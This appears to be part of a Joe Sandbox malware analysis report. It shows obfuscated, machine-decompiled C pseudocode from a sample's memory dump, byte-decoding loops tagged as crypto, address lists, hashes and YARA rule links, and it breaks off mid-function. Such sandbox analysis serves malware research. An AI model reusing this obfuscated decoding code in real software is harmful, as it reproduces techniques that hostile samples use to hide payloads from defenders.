						 *(_a4 + 0x14) =  *(_a4 + 0x14) |  *(_a4 + 0x8c);
						_t604 =  *0x116d5ec; // 0x116d5f0
						_t84 = _t604 + 0x58; // 0xc4ec4ec5
						_v16 = _v16 *  *_t84;
						_t606 =  *0x116d680; // 0xd02000
						 *((char*)(_t606 +  *((intOrPtr*)(_a4 + 0x5c)))) = _v16 >> 0x10;
						 *((intOrPtr*)(_a4 + 0x5c)) =  *((intOrPtr*)(_a4 + 0x5c)) + 1;
						_t478 =  *0x116d5ec; // 0x116d5f0
						_t95 = _t478 + 0x90; // 0xd02000
						_t479 =  *0x116d64c; // 0x4b420
						 *((char*)( *_t95 + _t479)) = _v16 >> 8;
						_t609 =  *0x116d64c; // 0x4b420
						 *0x116d64c = _t609 + 1;
						_t611 =  *0x116d680; // 0xd02000
						 *((char*)(_t611 +  *((intOrPtr*)(_a4 + 0x5c)))) = _v16;
						 *((intOrPtr*)(_a4 + 0x5c)) =  *((intOrPtr*)(_a4 + 0x5c)) + 1;
						_t482 =  *0x116d62c; // 0x161485
						_t614 =  *0x116d5ec; // 0x116d5f0
						_t105 = _t614 + 0xac; // 0x1a0e74
						_t757 =  *0x116d5ec; // 0x116d5f0
						 *(_t757 + 0xac) = _t482 - 0x00161485 ^  *_t105;
						_t772 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_a4 + 0xbadc81)) =  *((intOrPtr*)(_a4 + 0xbadc81)) -  *((intOrPtr*)(_a4 + 0xb8)) +  *((intOrPtr*)(_t772 + 0x40)) - 0x18e299;
						_v24 = _v24 + 1;
					}
					 *(_a4 + 0x58) =  *0x0116D694 - 0x49249249;
					_v84 = _v20 + 0x48;
					_v80 = _v48 + 0xf8;
					_v76 = _v32 - 0x1aa;
					_t537 =  *0x116d5ec; // 0x116d5f0
					_v72 = _t537;
					_v68 = _v8 + 0x16e;
					_v64 = _v52 + 0x25a0;
					_v60 = _v32 ^ 0x00000091;
					_push(_v60);
					_v48 = L010D16C0(_v84, _v80, _v76, _v72, _v68, _v64);
					_t407 = _a4;
					_t769 =  *0x116d5ec; // 0x116d5f0
					__eflags =  *((intOrPtr*)(_t407 + 0xb8)) -  *((intOrPtr*)(_t769 + 0xbadbfd));
					if( *((intOrPtr*)(_t407 + 0xb8)) >=  *((intOrPtr*)(_t769 + 0xbadbfd))) {
						 *((intOrPtr*)(_a4 + 0x88)) = 0x10e9380;
					}
					_v28 = 0;
					while(1) {
						__eflags = _v28 - 0xc0c;
						if(_v28 >= 0xc0c) {
							break;
						}
						 *(_a4 + 0x14) =  *(_a4 + 0xe0) ^ 0xfffe3a5b |  *(_a4 + 0x14);
						_v12 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x88)) + _v28 * 4));
						_v12 = _v12 *  *(_a4 + 0x58);
						_t558 =  *0x116d5ec; // 0x116d5f0
						_t176 = _t558 + 0xdc; // 0x8
						_t693 =  *0x116d5ec; // 0x116d5f0
						 *(_t693 + 0xdc) =  *((intOrPtr*)(_a4 + 0x10)) -  *0x116d6d0 ^ 0x0001c5af |  *_t176;
						_t695 =  *0x116d5ec; // 0x116d5f0
						_t561 =  *0x116d5ec; // 0x116d5f0
						 *(_t561 + 0xa4) =  *((intOrPtr*)(_a4 + 0x78)) - 0x00079aca ^  *(_t695 + 0xa4);
						_t429 =  *0x116d5ec; // 0x116d5f0
						_t770 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_a4 + 0xec)) =  *((intOrPtr*)(_t429 + 0xbadbfd)) -  *((intOrPtr*)(_t770 + 0x14)) +  *((intOrPtr*)(_a4 + 0xec)) - 0x49bb9045;
						 *((intOrPtr*)(_a4 + 0xbadc81)) =  *((intOrPtr*)(_a4 + 0xbadc81)) -  *((intOrPtr*)(_a4 + 0x3c)) - 0x161485;
						_t707 =  *0x116d5ec; // 0x116d5f0
						_t205 = _t707 + 0x90; // 0xd02000
						 *((char*)( *_t205 +  *((intOrPtr*)(_a4 + 0x5c)))) = _v12 >> 0x18;
						 *((intOrPtr*)(_a4 + 0x5c)) =  *((intOrPtr*)(_a4 + 0x5c)) + 1;
						 *0x116d6a4 = ( *0x0116D604 ^ 0xb655b0d2) +  *0x116d6a4;
						_t574 =  *0x116d5ec; // 0x116d5f0
						_t441 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_t441 + 0xbadbdd)) =  *(_a4 + 0xe0) +  *((intOrPtr*)(_t574 + 0xbadbdd)) + 0x1c5a5;
						_t716 =  *0x116d5ec; // 0x116d5f0
						_t221 = _t716 + 0x5c; // 0x4b420
						 *((char*)( *((intOrPtr*)(_a4 + 0x90)) +  *_t221)) = _v12 >> 0x10;
						_t443 =  *0x116d5ec; // 0x116d5f0
						_t225 = _t443 + 0x5c; // 0x4b420
						_t719 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_t719 + 0x5c)) =  *_t225 + 1;
						_t581 =  *0x116d64c; // 0x4b420
						 *((char*)( *((intOrPtr*)(_a4 + 0x90)) + _t581)) = _v12 >> 8;
						_t721 =  *0x116d64c; // 0x4b420
						 *0x116d64c = _t721 + 1;
						_t584 =  *0x116d5ec; // 0x116d5f0
						_t234 = _t584 + 0xe0; // 0xfffe3a5b
						 *(_a4 + 0xbadbdd) =  *(_a4 + 0xbadbdd) - ( *((intOrPtr*)(_a4 + 0xa4)) +  *_t234 ^ 0xfffe3a5b);
						 *((char*)( *((intOrPtr*)(_a4 + 0x90)) +  *((intOrPtr*)(_a4 + 0x5c)))) = _v12;
						 *((intOrPtr*)(_a4 + 0x5c)) =  *((intOrPtr*)(_a4 + 0x5c)) + 1;
						 *0x0116D66C =  *((intOrPtr*)(0x116d66c)) +  *(_a4 + 0xb4);
						_t457 = _v28 + 1;
						__eflags = _t457;
						_v28 = _t457;
					}
					_t544 =  *0x116d6d0; // 0xfffe3a5b
					 *(_a4 + 0x58) = _t544 + 0x4b79b;
					 *(_a4 + 0x58) =  *(_a4 + 0xac) +  *((intOrPtr*)(_a4 + 0x9c)) - 0x40d65a68 ^  *(_a4 + 0x58);
					_t683 =  *0x116d5ec; // 0x116d5f0
					_t269 = _t683 + 0xdc; // 0x8
					__eflags =  *_t269 -  *0x116d67c; // 0x0
					if(__eflags >= 0) {
						_t412 =  *0x116d648; // 0xc4ec4ec5
						_t413 = _t412 -  *((intOrPtr*)(_a4 + 0xec)) - 0xe44db;
						__eflags = _t413;
						 *0x116d648 = _t413;
					}
				}
				L25:
				_t355 = _v56 + 0x3b;
				__eflags = _t355;
				return _t355;
			}

0x010e55cf
0x010e55db
0x010e55e7
0x010e55f2
0x010e55fe
0x010e560a
0x010e5610
0x010e561c
0x010e562b
0x010e5cbe
0x010e5ccc
0x010e5ccc
0x010e5ccf
0x010e5ce1
0x010e5ce4
0x00000000
0x00000000
0x010e5cfb
0x010e5d01
0x010e5d08
0x010e5d1d
0x010e5d33
0x010e5d39
0x010e5d3f
0x010e5d45
0x010e5d4b
0x010e5d51
0x010e5d62
0x010e5d76
0x010e5d89
0x010e5d8f
0x010e5dca
0x010e5dea
0x010e5ded
0x010e5df3
0x010e5df8
0x010e5e08
0x010e5e1d
0x010e5e35
0x010e5e44
0x010e5e5b
0x010e5e61
0x010e5e69
0x010e5e75
0x010e5e75
0x010e5e7e
0x010e5e7e
0x010e5cc6
0x010e5cc6
0x010e5cc9
0x010e5cc9
0x010e5631
0x010e564b
0x010e5650
0x010e565e
0x010e5663
0x010e5669
0x010e5673
0x010e56c2
0x010e56c7
0x010e56c7
0x010e56cc
0x010e56d2
0x010e5675
0x010e56a0
0x010e56bc
0x010e56bc
0x010e56d8
0x010e56e3
0x010e56e9
0x010e56eb
0x010e56f1
0x010e56f9
0x010e56ff
0x010e56ff
0x010e5702
0x010e570c
0x010e571e
0x010e5749
0x010e576a
0x010e5770
0x010e5776
0x010e577c
0x010e578a
0x010e5790
0x010e57af
0x010e57b6
0x010e57bb
0x010e57c7
0x010e57ed
0x010e57f1
0x010e57fa
0x010e57fe
0x010e580d
0x010e5813
0x010e5822
0x010e582b
0x010e5830
0x010e5836
0x010e583b
0x010e583e
0x010e5847
0x010e5853
0x010e585c
0x010e586b
0x010e586e
0x010e5878
0x010e587e
0x010e5884
0x010e588a
0x010e58b2
0x010e58da
0x010e571b
0x010e571b
0x010e58fd
0x010e5906
0x010e5912
0x010e591d
0x010e5920
0x010e5926
0x010e5932
0x010e593d
0x010e5949
0x010e594f
0x010e5970
0x010e5983
0x010e5986
0x010e5993
0x010e5997
0x010e599c
0x010e599c
0x010e59a6
0x010e59b8
0x010e59b8
0x010e59bf
0x00000000
0x00000000
0x010e59ee
0x010e5a01
0x010e5a0e
0x010e5a2b
0x010e5a31
0x010e5a37
0x010e5a3d
0x010e5a56
0x010e5a6b
0x010e5a71
0x010e5a88
0x010e5a8d
0x010e5aae
0x010e5ade
0x010e5af1
0x010e5af7
0x010e5afd
0x010e5b0c
0x010e5b29
0x010e5b40
0x010e5b59
0x010e5b5e
0x010e5b68
0x010e5b6e
0x010e5b7a
0x010e5b7d
0x010e5b82
0x010e5b88
0x010e5b8e
0x010e5ba0
0x010e5ba6
0x010e5ba9
0x010e5bb2
0x010e5bd2
0x010e5bd8
0x010e5bf8
0x010e5c0e
0x010e5c1d
0x010e5c3f
0x010e59b2
0x010e59b2
0x010e59b5
0x010e59b5
0x010e5c4a
0x010e5c59
0x010e5c7e
0x010e5c87
0x010e5c8d
0x010e5c93
0x010e5c99
0x010e5caa
0x010e5caf
0x010e5caf
0x010e5cb1
0x010e5cb1
0x010e5cb6
0x010e5e89
0x010e5e8c
0x010e5e8c
0x010e5e93

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2acdb764e67525262569cba869024c3126b8fd571fc60d1e7d1efb915ef6a710
Instruction ID: 66fb1aa1bab700a5a4be38e47d601a576a8c8663c09cabfa55d373a6f82b0696
Opcode Fuzzy Hash: 2acdb764e67525262569cba869024c3126b8fd571fc60d1e7d1efb915ef6a710
Instruction Fuzzy Hash: 3852D6746002059FDB18CF58D194BA9BBB2FB88304F14C279E9599F79AC735E982CF84

Uniqueness

Uniqueness Score: -1.00%

Function 010E7440 Relevance: 1.9, Strings: 1, Instructions: 615
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E010E7440(intOrPtr _a4, intOrPtr _a8, signed int _a16, signed int _a24, intOrPtr _a28) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				unsigned int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v80;
				intOrPtr _t419;
				intOrPtr _t420;
				intOrPtr _t423;
				intOrPtr _t449;
				intOrPtr _t462;
				intOrPtr _t477;
				intOrPtr _t492;
				intOrPtr _t519;
				intOrPtr _t534;
				intOrPtr _t535;
				intOrPtr _t537;
				intOrPtr _t540;
				intOrPtr _t544;
				signed int _t553;
				intOrPtr _t569;
				intOrPtr _t571;
				intOrPtr _t588;
				intOrPtr _t596;
				intOrPtr _t618;
				intOrPtr _t625;
				intOrPtr _t634;
				intOrPtr _t637;
				intOrPtr _t643;
				intOrPtr _t663;
				intOrPtr _t679;
				intOrPtr _t683;
				intOrPtr _t689;
				intOrPtr _t691;
				intOrPtr _t692;
				intOrPtr _t693;
				intOrPtr _t694;
				intOrPtr _t696;
				intOrPtr _t740;
				intOrPtr _t750;
				intOrPtr _t757;
				intOrPtr _t759;
				intOrPtr _t770;
				intOrPtr _t780;
				intOrPtr _t806;
				intOrPtr _t824;
				intOrPtr _t828;
				intOrPtr _t829;
				intOrPtr _t831;
				signed int _t836;
				intOrPtr _t856;
				intOrPtr _t857;
				intOrPtr _t860;
				intOrPtr _t864;
				intOrPtr _t865;
				intOrPtr _t873;
				intOrPtr _t877;
				intOrPtr _t879;
				intOrPtr _t880;

				_v12 = _a16 ^ 0x000027b9;
				_v48 = _a8 - 0x5d;
				_v80 = _a24 ^ 0x00000236;
				_v20 = _a8 - 0xd1;
				_v52 = _a4 + 0x41;
				_v40 = _a8 + 0x221;
				_v8 = _a24;
				if(_v12 == _v48 + 0x65) {
					if(_v12 <=  *((intOrPtr*)(_a28 + 0x9c)) +  *((intOrPtr*)(_a28 + 0x10)) - 0x2674) {
						_v44 =  *0x01D1B261;
						while(_v44 < ((_v8 | _v20) ^  *(_a28 + 0xfc))) {
							_v8 =  *((intOrPtr*)(_a28 + 0x30)) - _v20 & 0x00002796 | _v8;
							_v44 = _v44 + 1;
						}
					} else {
						_t806 =  *0x116d5ec; // 0x116d5f0
						_t128 = _t806 + 0xdc; // 0x8
						if( *((intOrPtr*)(_a28 + 0x4c)) >= ( *(_a28 + 0xbadc51) &  *0x116d628 &  *_t128)) {
							if(_v12 < _v12 +  *((intOrPtr*)(_a28 + 0x9c)) - 0x2801) {
								 *(_a28 + 0x8c) =  *(_a28 + 0x8c) -  *((intOrPtr*)(_a28 + 0x50)) - 0x2796;
							}
						} else {
							if(_v12 >= (_v52 - _v40 | 0x000026d4)) {
								_t663 =  *0x116d5ec; // 0x116d5f0
								_v76 = _t663;
								_t492 =  *0x116d5ec; // 0x116d5f0
								_v72 = ( *(_a28 + 0xbadc29) | _v52) *  *(_t492 + 0xbadc71);
								_v68 = _v8 + 0x2598;
								_v64 = _v40 + 0x00002796 ^  *(_a28 + 0xf4);
								_v60 = _v48 *  *(_a28 + 0xbadbfd);
								_v56 = ( *(_a28 + 0xdc) | 0x00002622) &  *0x0116D6C4;
								_v40 = E010D2800(_v76, _v72, _v68, _v64, _v60, _v56);
								_t824 =  *0x116d5ec; // 0x116d5f0
								_t165 = _t824 + 0xe4; // 0xc
								_v20 =  *_t165 * 0x2674 * _v20;
								 *((intOrPtr*)(_a28 + 0xd0)) = (_v8 & 0x000027b9 ^ _v20) +  *((intOrPtr*)(_a28 + 0xd0));
							}
						}
					}
				} else {
					_t828 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t828 + 0x88)) = 0x1120140;
					_v32 = 0;
					while(_v32 < 0x564) {
						_v16 =  *((intOrPtr*)( *((intOrPtr*)(_a28 + 0x88)) + _v32 * 4));
						_t831 =  *0x116d5ec; // 0x116d5f0
						_t29 = _t831 + 0x58; // 0xc4ec4ec5
						_v16 = _v16 *  *_t29;
						_t683 =  *0x116d5ec; // 0x116d5f0
						 *0x116d6dc = ( *(_a28 + 0x78) ^  *(_t683 + 0xa4)) - 0x00079aca ^  *0x116d6dc;
						 *0x01D1B271 =  *((intOrPtr*)(0x1d1b271)) -  *0x0116D694;
						_t836 =  *0x116d6dc; // 0xe608d
						_t519 =  *0x116d5ec; // 0x116d5f0
						_t41 = _t519 + 0xac; // 0x1a0e74
						_t689 =  *0x116d5ec; // 0x116d5f0
						 *(_t689 + 0xac) = (_t836 ^  *(_a28 + 0xbadbfd)) - 0x001f219a |  *_t41;
						_t879 =  *0x116d5ec; // 0x116d5f0
						_t691 =  *0x116d5ec; // 0x116d5f0
						_t692 =  *0x116d5ec; // 0x116d5f0
						 *(_t692 + 0xbadbfd) = ( *(_a28 + 0xac) ^  *(_t879 + 0xa4)) - 0x001a0e74 ^  *(_t691 + 0xbadbfd);
						_t693 =  *0x116d5ec; // 0x116d5f0
						_t51 = _t693 + 0xdc; // 0x8
						_t694 =  *0x116d5ec; // 0x116d5f0
						_t696 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_t696 + 0xb8)) =  *((intOrPtr*)(_t694 + 0xb8)) -  *_t51 - 8;
						 *((intOrPtr*)(_a28 + 0xbadbdd)) =  *((intOrPtr*)(_a28 + 0xec)) +  *((intOrPtr*)(_a28 + 0xbadbdd)) - 0xe608d;
						_t880 =  *0x116d68c; // 0x14b95e
						_t534 =  *0x116d5ec; // 0x116d5f0
						_t535 =  *0x116d5ec; // 0x116d5f0
						 *(_t535 + 0xa4) = _t880 -  *(_a28 + 0xb8) - 0x0018e850 |  *(_t534 + 0xa4);
						_t856 =  *0x116d64c; // 0x4b420
						 *((char*)( *((intOrPtr*)(_a28 + 0x90)) + _t856)) = _v16 >> 0x10;
						_t537 =  *0x116d64c; // 0x4b420
						 *0x116d64c = _t537 + 1;
						_t857 =  *0x116d5ec; // 0x116d5f0
						_t78 = _t857 + 0x5c; // 0x4b420
						 *((char*)( *((intOrPtr*)(_a28 + 0x90)) +  *_t78)) = _v16 >> 8;
						_t540 =  *0x116d5ec; // 0x116d5f0
						_t82 = _t540 + 0x5c; // 0x4b420
						_t860 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_t860 + 0x5c)) =  *_t82 + 1;
						 *((char*)( *((intOrPtr*)(_a28 + 0x90)) +  *((intOrPtr*)(_a28 + 0x5c)))) = _v16;
						 *((intOrPtr*)(_a28 + 0x5c)) =  *((intOrPtr*)(_a28 + 0x5c)) + 1;
						_t544 =  *0x116d5ec; // 0x116d5f0
						_t94 = _t544 + 0x3c; // 0x161485
						_t864 =  *0x116d5ec; // 0x116d5f0
						_t95 = _t864 + 0xe4; // 0xc
						_t865 =  *0x116d5ec; // 0x116d5f0
						 *((intOrPtr*)(_t865 + 0xe4)) =  *_t94 +  *_t95 - 0x161485;
						 *(_a28 + 0xa4) =  *(_a28 + 0xa4) -  *((intOrPtr*)(0x1d1b261)) -  *0x01D1B1CD;
						_t873 =  *0x116d5ec; // 0x116d5f0
						_t553 =  *0x116d6a4; // 0x0
						 *0x116d6a4 = _t553 -  *((intOrPtr*)(_a28 + 0xec)) +  *((intOrPtr*)(_t873 + 0x10)) - 0xe6097;
						_v32 = _v32 + 1;
					}
					 *((intOrPtr*)(_a28 + 0x58)) = 0x1ecc;
					_t829 =  *0x116d5ec; // 0x116d5f0
					_t115 = _t829 + 0x58; // 0xc4ec4ec5
					_t679 =  *0x116d5ec; // 0x116d5f0
					 *((intOrPtr*)(_t679 + 0x58)) =  *_t115 - 0x4f6;
				}
				if(_v8 > _v12 + 0x2598) {
					if(_v8 < (_v12 ^ 0x000025a0)) {
						if( *((intOrPtr*)(_a28 + 0xbadbed)) >= (_v8 - 0x2633) *  *(_a28 + 0xb4)) {
							 *0x01D1B1B1 = _v48 +  *((intOrPtr*)(0x1d1b1b1)) - 0x27b9;
						}
					} else {
						_t643 =  *0x116d5ec; // 0x116d5f0
						_t209 = _t643 + 0xec; // 0xe608d
						 *((intOrPtr*)(_a28 + 0x58)) =  *((intOrPtr*)(_a28 + 0x58)) - ( *_t209 ^ 0x3b1dab9c);
						 *((intOrPtr*)(_a28 + 0x88)) = 0x10ec430;
					}
					if(_v52 != (_v8 ^ 0x00000d9a)) {
						_v36 = 0;
						while(_v36 < 0xea8) {
							 *0x0116D6A8 =  *(_a28 + 0xbadbfd) -  *((intOrPtr*)(_a28 + 0x74)) - 0x00114117 |  *0x0116D6A8;
							 *(_a28 + 0xac) = ( *(_a28 + 0xb8) ^ 0xfffbd10e) +  *(_a28 + 0xac);
							_v24 =  *((intOrPtr*)( *((intOrPtr*)(_a28 + 0x88)) + _v36 * 4));
							_t770 =  *0x116d5ec; // 0x116d5f0
							_t255 = _t770 + 0x58; // 0xc4ec4ec5
							_v24 = _v24 *  *_t255;
							_t449 =  *0x116d5ec; // 0x116d5f0
							_t258 = _t449 + 0xf4; // 0xd3256746
							 *(_a28 + 0xe4) =  *_t258 -  *((intOrPtr*)(_a28 + 0x7c)) + 0x2cda98c4 ^  *(_a28 + 0xe4);
							 *((char*)( *((intOrPtr*)(_a28 + 0x90)) +  *((intOrPtr*)(_a28 + 0x5c)))) = _v24 >> 0x10;
							 *((intOrPtr*)(_a28 + 0x5c)) =  *((intOrPtr*)(_a28 + 0x5c)) + 1;
							 *((char*)( *((intOrPtr*)(_a28 + 0x90)) +  *((intOrPtr*)(_a28 + 0x5c)))) = _v24 >> 8;
							 *((intOrPtr*)(_a28 + 0x5c)) =  *((intOrPtr*)(_a28 + 0x5c)) + 1;
							_t618 =  *0x116d5ec; // 0x116d5f0
							_t285 = _t618 + 0x90; // 0xd02000
							_t462 =  *0x116d64c; // 0x4b420
							 *((char*)( *_t285 + _t462)) = _v24;
							_t780 =  *0x116d64c; // 0x4b420
							 *0x116d64c = _t780 + 1;
							 *0x116d6e4 = ( *((intOrPtr*)(_a28 + 0x40)) -  *((intOrPtr*)(_a28 + 0xe0)) ^ 0x001ed730) +  *0x116d6e4;
							_t625 =  *0x116d5ec; // 0x116d5f0
							_t293 = _t625 + 0xec; // 0xe608d
							 *(_a28 + 0xe4) =  *_t293 +  *0x0116D66C +  *(_a28 + 0xe4) - 0xe6097;
							_t877 =  *0x116d5ec; // 0x116d5f0
							 *0x0116D6A8 =  *((intOrPtr*)(_t877 + 0x7c)) +  *(_a28 + 0xa4) - 0x0000000a |  *0x0116D6A8;
							 *(_a28 + 0xdc) =  *(_a28 + 0xdc) -  *0x116d6a4;
							_t634 =  *0x116d5ec; // 0x116d5f0
							_t317 = _t634 + 0xb0; // 0x0
							 *(_a28 + 0xa4) =  *(_a28 + 0xa4) ^  *_t317;
							_t477 =  *0x116d5ec; // 0x116d5f0
							_t323 = _t477 + 0xb0; // 0x0
							_t637 =  *0x116d5ec; // 0x116d5f0
							 *(_t637 + 0xb0) = ( *(_a28 + 0xe4) - 0xb) *  *_t323;
							_v36 = _v36 + 1;
						}
						_t569 =  *0x116d5ec; // 0x116d5f0
						_t326 = _t569 + 0xac; // 0x1a0e74
						if( *_t326 >=  *((intOrPtr*)(_a28 + 0x40))) {
							_t571 =  *0x116d5ec; // 0x116d5f0
							 *(_a28 + 0x38) =  *((intOrPtr*)(_t571 + 0xbadbdd)) +  *((intOrPtr*)(_a28 + 0x3c)) +  *(_a28 + 0x38);
						} else {
							 *((intOrPtr*)(_a28 + 0xe8)) = 0x116d5f0;
						}
						_v12 = _v12 ^ 0x00002598;
						_v28 = 0;
						while(_v28 < 0x2722) {
							_t419 =  *0x116d5ec; // 0x116d5f0
							_t345 = _t419 + 0x94; // 0xd02000
							_t420 =  *0x116d5ec; // 0x116d5f0
							_t349 = _t420 + 0x60; // 0xb67e4e55
							_t740 =  *0x116d5ec; // 0x116d5f0
							_t350 = _t740 + 0x94; // 0xd02000
							 *( *_t350 + _v28 * 4) =  *( *_t345 + _v28 * 4) ^  *_t349;
							 *((intOrPtr*)(_a28 + 0x60)) =  *((intOrPtr*)(_a28 + 0x60)) +  *0x116d688;
							_t423 =  *0x116d668; // 0x79aca
							 *((intOrPtr*)(_a28 + 0x3c)) =  *((intOrPtr*)(_a28 + 0x3c)) - _t423 - 0x79aca;
							 *(_a28 + 0x8c) =  *(_a28 + 0xa4) +  *(_a28 + 0xdc) ^ 0x00000008 ^  *(_a28 + 0x8c);
							_t750 =  *0x116d5ec; // 0x116d5f0
							_t588 =  *0x116d5ec; // 0x116d5f0
							 *(_t588 + 0x7c) = ( *((intOrPtr*)(_a28 + 0x40)) - 0x1d118a) *  *(_t750 + 0x7c);
							 *((intOrPtr*)(_a28 + 0x10)) = ( *(_a28 + 0x38) ^ 0x00000001) +  *((intOrPtr*)(_a28 + 0x10));
							_t757 =  *0x116d5ec; // 0x116d5f0
							 *0x116d6a4 = ( *((intOrPtr*)(0x116d66c)) +  *((intOrPtr*)(_t757 + 0xbadc71)) - 0xa) *  *0x116d6a4;
							_t596 =  *0x116d5ec; // 0x116d5f0
							_t393 = _t596 + 0xec; // 0xe608d
							_t759 =  *0x116d5ec; // 0x116d5f0
							 *((intOrPtr*)(_t759 + 0xec)) = ( *(_a28 + 0x38) ^ 0x00000001) +  *_t393;
							_v28 = _v28 + 1;
						}
					}
				}
				return _v8 - 8;
			}

0x010e7450
0x010e7459
0x010e7465
0x010e7470
0x010e7479
0x010e7485
0x010e748b
0x010e7497
0x010e77c6
0x010e795e
0x010e796c
0x010e79a4
0x010e7969
0x010e7969
0x010e77cc
0x010e77ec
0x010e77f2
0x010e77ff
0x010e7923
0x010e7948
0x010e7948
0x010e7805
0x010e7813
0x010e7819
0x010e781f
0x010e783b
0x010e7848
0x010e7854
0x010e7869
0x010e787f
0x010e789f
0x010e78c2
0x010e78c5
0x010e78cb
0x010e78d9
0x010e7904
0x010e7904
0x010e790b
0x010e794e
0x010e749d
0x010e749d
0x010e74a3
0x010e74ad
0x010e74bf
0x010e74db
0x010e74de
0x010e74e7
0x010e74eb
0x010e74f9
0x010e7514
0x010e753d
0x010e754e
0x010e755e
0x010e7563
0x010e7569
0x010e756f
0x010e7588
0x010e75a0
0x010e75b2
0x010e75b8
0x010e75c4
0x010e75ca
0x010e75d3
0x010e75ea
0x010e75f0
0x010e7621
0x010e7638
0x010e764b
0x010e765f
0x010e7664
0x010e767a
0x010e7680
0x010e7683
0x010e768b
0x010e7696
0x010e769c
0x010e76a8
0x010e76ab
0x010e76b0
0x010e76b6
0x010e76bc
0x010e76d1
0x010e76e0
0x010e76e3
0x010e76e8
0x010e76eb
0x010e76f1
0x010e76fe
0x010e7704
0x010e7744
0x010e775c
0x010e776d
0x010e7774
0x010e74bc
0x010e74bc
0x010e7781
0x010e7788
0x010e778e
0x010e7796
0x010e779c
0x010e779c
0x010e79b5
0x010e79c6
0x010e7a19
0x010e7a3b
0x010e7a3b
0x010e79c8
0x010e79c8
0x010e79ce
0x010e79e5
0x010e79eb
0x010e79eb
0x010e7a4c
0x010e7a52
0x010e7a64
0x010e7aab
0x010e7ad5
0x010e7aea
0x010e7aed
0x010e7af6
0x010e7afa
0x010e7b05
0x010e7b0d
0x010e7b28
0x010e7b43
0x010e7b52
0x010e7b6a
0x010e7b79
0x010e7b7c
0x010e7b82
0x010e7b88
0x010e7b90
0x010e7b93
0x010e7b9c
0x010e7bc6
0x010e7bd4
0x010e7bda
0x010e7bf9
0x010e7c17
0x010e7c3d
0x010e7c55
0x010e7c66
0x010e7c73
0x010e7c84
0x010e7c97
0x010e7c9c
0x010e7ca3
0x010e7ca9
0x010e7a61
0x010e7a61
0x010e7cbc
0x010e7cc5
0x010e7ccf
0x010e7ce8
0x010e7d01
0x010e7cd1
0x010e7cd4
0x010e7cd4
0x010e7d0d
0x010e7d10
0x010e7d22
0x010e7d2f
0x010e7d34
0x010e7d3d
0x010e7d45
0x010e7d48
0x010e7d4e
0x010e7d57
0x010e7d69
0x010e7d6c
0x010e7d81
0x010e7dae
0x010e7dd0
0x010e7de3
0x010e7de9
0x010e7e10
0x010e7e29
0x010e7e41
0x010e7e50
0x010e7e56
0x010e7e5c
0x010e7e62
0x010e7d1f
0x010e7d1f
0x010e7d22
0x010e7a4c
0x010e7e78

Strings

"', xrefs: 010E7D22

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID:
String ID: "'
API String ID: 0-1130488244
Opcode ID: f7b5bb5fd65c21a28f8c2142259bd1668baa17e75801d4eb64f6c966e1c12df5
Instruction ID: f21d798c3c717d3bc5effd33509f7204fba77a10e3603fb44423c019d0e2393b
Opcode Fuzzy Hash: f7b5bb5fd65c21a28f8c2142259bd1668baa17e75801d4eb64f6c966e1c12df5
Instruction Fuzzy Hash: BD622974600149CFDB1CCF58D594BA9BBB2FB88308F15827AD9599B79AC735E842CF80

Uniqueness

Uniqueness Score: -1.00%

Function 010DCDF6 Relevance: 1.8, APIs: 1, Instructions: 269
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E010DCDF6(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
